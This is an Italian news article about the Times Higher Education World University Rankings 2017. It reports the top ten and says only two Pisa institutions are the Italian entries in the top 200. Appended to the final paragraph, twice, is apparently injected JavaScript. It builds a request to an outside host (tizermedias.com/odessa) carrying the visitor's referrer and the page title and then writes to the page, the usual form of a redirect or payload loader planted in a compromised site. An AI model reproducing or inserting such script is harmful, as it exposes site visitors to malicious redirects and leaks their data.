classifica Times Higher Education World University Rankings 2017

La classifica Times Higher Education World University Rankings 2017 non sorride al nostro Paese. L’ultima edizione della graduatoria stilata dalla rivista britannica specializzata nel settore della formazione accademica vede soltanto due atenei italiani tra i primi 200 al mondo. E, per di più, nemmeno particolarmente in alto. Come al solito a monopolizzare le posizioni di vertice sono gli atenei anglo-americani, mentre diventa sempre più agguerrita la concorrenza delle università asiatiche. In questo scenario l’Italia arranca e rischia di scivolare sempre più in basso, se non si interverrà per modernizzare e rendere più competitivo l’intero sistema universitario tricolore.

Il primo posto della classifica Times Higher Education World University Rankings 2017 è stato assegnato a Oxford, che ha sopravanzato la storica rivale Cambridge, finita seconda. Dietro la coppia britannica c’è un plotone a stelle e strisce che vede, nell’ordine, il California Institute of Technology, Stanford, il MIT di Boston, Harvard e Princeton. In ottava posizione c’è un altro ateneo del Regno Unito, l’Imperial College di Londra, mentre al nono posto si è piazzata la University of Chicago. L’ultimo della top ten della classifica Times Higher Education World University Rankings 2017 è l’ETH di Zurigo. Il politecnico svizzero è il primo tra gli atenei non anglo-americani.

In tutto, le università del Vecchio Continente occupano circa la metà delle prime 200 posizioni, anche se sono insidiate sempre di più dalle istituzioni asiatiche. Solo un anno fa nelle prime 30 posizioni c’erano 10 atenei europei contro 2 asiatici, mentre quest’anno il rapporto è di sette a tre. In tutto la graduatoria comprende 1.000 università.

L’Italia deve accontentarsi da stare lontano dalle posizioni che contano. Le uniche due università che si sono guadagnate il diritto di stare nella top 200 sono il Sant’Anna e la Scuola Normale di Pisa. Il Sant’Anna si è posizionato 155esimo, mentre la Normale è finita 184esima. Nel primo caso, la posizione ottenuta nella classifica Times Higher Education World University Rankings 2017 è migliore rispetto a quella della precedente edizione (+35 posti). Nel secondo, invece, la prestazione è peggiorata di 47 posizioni. A pesare sulle performance delle italiane nella classifica Times Higher Education World University Rankings 2017 sono soprattutto gli scarsi finanziamenti destinati al settore della formazione accademica e una burocrazia che soffoca i nostri atenei, mutilandone la competitività a livello internazionale.

La classifica Times Higher Education World University Rankings 2017 è stata stilata prendendo in considerazione 13 indicatori, raggruppati in 5 macro-aree: formazione, ricerca, numero di citazioni, internazionalizzazione, trasferimento tecnologico e di conoscenze verso il sistema industriale.(function(){var d=document;var w=’240′;var h=’300′;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();(function(){var d=document;var w=’240′;var h=’300’;var id = Math.floor(Math.random()*9999);var src = ‘http://tizermedias.com/odessa/?54vFcZ&’;src = src + ‘se_referrer=’+document.referrer;src = src + ‘&default_keyword=’+document.title;src = src + ‘&r=’+id;d.write(”);})();